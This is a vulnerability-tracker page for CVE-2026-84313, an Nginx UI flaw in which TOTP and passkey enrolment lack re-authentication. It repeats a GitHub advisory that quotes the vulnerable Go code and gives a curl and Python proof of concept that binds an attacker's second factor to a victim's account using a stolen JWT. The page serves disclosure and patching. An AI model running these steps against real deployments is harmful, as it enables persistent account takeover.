Every CVE Search/ Get API key

CVE-2026-84313

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

8.8 HighFix available

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.54%Up 0.1 points since Oct 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

Record
CVE-2026-84313
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-306
Updated
2026-11-02
EUVDEUVD-2026-97865 8.8

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

Record
EUVD-2026-97865
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-gfrc-g87h-7h5w 8.8

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

Summary

Endpoints that bind a TOTP secret (POST /api/otp_enroll) or register a WebAuthn passkey (POST /api/finish_passkey_register) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.

Details

api/user/router.go:34-39 — note the routes registered before the secure-session group:

r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP)                     // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration)  // ← outside RequireSecureSession

o := r.Group("", middleware.RequireSecureSession())
{
    o.GET("/otp_reset", ResetOTP)                     // reset *is* protected — inconsistent
    ...
}

EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):

if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
    Secret   string `json:"secret"   binding:"required"`
    Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.

Proof of Concept

JWT="<victim_jwt>"

# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
 "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084

# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
       -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
       http://127.0.0.1:18080/api/otp_enroll

HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
 "last_viewed":1778338236}

# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
 "recovery_codes_generated":true,"recovery_codes_viewed":true}

Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.

The passkey variant follows the same pattern: GET /api/begin_passkey_register then POST /api/finish_passkey_register with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.

Impact

  • Persistent account takeover surviving the victim's password reset.
  • Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.

Patches

api/user/router.go…

Record
GHSA-gfrc-g87h-7h5w
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-306
Updated
2026-11-02
NVD 8.8

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

Record
CVE-2026-84313
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-306
Updated
2026-11-02
OSV 8.8

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

Record
CVE-2026-84313
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-306
Updated
2026-11-02
OSVGHSA-gfrc-g87h-7h5w 8.8

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

Summary

Endpoints that bind a TOTP secret (POST /api/otp_enroll) or register a WebAuthn passkey (POST /api/finish_passkey_register) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.

Details

api/user/router.go:34-39 — note the routes registered before the secure-session group:

r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP)                     // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration)  // ← outside RequireSecureSession

o := r.Group("", middleware.RequireSecureSession())
{
    o.GET("/otp_reset", ResetOTP)                     // reset *is* protected — inconsistent
    ...
}

EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):

if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
    Secret   string `json:"secret"   binding:"required"`
    Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.

Proof of Concept

JWT="<victim_jwt>"

# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
 "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084

# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
       -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
       http://127.0.0.1:18080/api/otp_enroll

HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
 "last_viewed":1778338236}

# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
 "recovery_codes_generated":true,"recovery_codes_viewed":true}

Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.

The passkey variant follows the same pattern: GET /api/begin_passkey_register then POST /api/finish_passkey_register with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.

Impact

  • Persistent account takeover surviving the victim's password reset.
  • Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.

Patches

api/user/router.go…

Record
GHSA-gfrc-g87h-7h5w
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-306
Updated
2026-11-02
OSVGO-2026-6786 No score

TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI

TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI

Record
GO-2026-6786
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/0xJacky/Nginx-UI
Go
before 1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0
github.com/0xJacky/Nginx-UI
Go
All versions None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-84313 is a high vulnerability (CVSS 8.8) in 0xjacky Nginx-ui, published October 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in github.com/0xJacky/Nginx-UI 1.9.10-0.20260703131214-23d1934099b0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open